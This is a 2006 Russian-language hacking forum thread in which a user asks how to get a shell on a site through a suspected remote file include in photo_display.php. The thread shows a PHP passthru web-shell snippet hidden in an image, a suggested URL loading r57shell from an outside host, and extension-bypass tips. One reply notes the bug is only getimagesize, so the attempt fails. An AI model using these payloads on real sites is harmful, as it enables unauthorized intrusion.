Как получить шелл?

Discussion in 'Песочница' started by liauliau, 27 Aug 2006.

  1. liauliau

    liauliau Member

    Joined:
    9 Apr 2005
    Messages:
    30
    Likes Received:
    6
    Reputations:
    -1
    Есть сайт:
    http://www.site.com/includes/photo_display.php?photo=http
    Вылетает ошибка:
    ------------------------------------------------------
    Warning: getimagesize(http) [function.getimagesize]: failed to open stream: No such file or directory in /путь/includes/photo_display.php on line 8
    ------------------------------------------------------
    Вроде как инклуд. Пытаюсь проклудть - не получается. Но когда загужаю картинку(jpg,gif):
    http://www.site.com/includes/photo_display.php?photo=http://site.narod.ru/ris.jpg - появляется картинка.
    Пробовал добавить дебагером в картинку <? passthru($cmd); ?> - шелл получить не получается.
    Что делать? Как получить шелл?
     
  2. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    хз =). попробуй пихнуть шелл примерно так
    PHP:
    Http://www.site.com/includes/photo_display.php?photo=http://site.narod.ru/r57shell.php.jpg
    - думаю понятно, открываешь картинку и туда код php
    в осле и опере пробуй этот метод. отпишись как прошло
    помоему тут все просто
     
    #2 Sn@k3, 27 Aug 2006
    Last edited: 27 Aug 2006
    1 person likes this.
  3. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Попробуй вообще без расширений подставить, или с расширениями в разном регистре...
     
  4. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    getimagesize, function.getimagesize

    эти слова должны натолкнуть вас, что инклуд пишется по другому... не верите??? просто проверьте.
    Даже из названия можно понять что эта функция возвращает не исполненный удаленный код, а размеры удаленной (можно и локальной) картинки... это все.


    не каждая ошибка в пхп класса Warning является инклудом
     
  5. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Сорри за флейм, но только щас заметил, что это ведь вроде как скрипт двига PHOTO Gallery ???
     
Loading...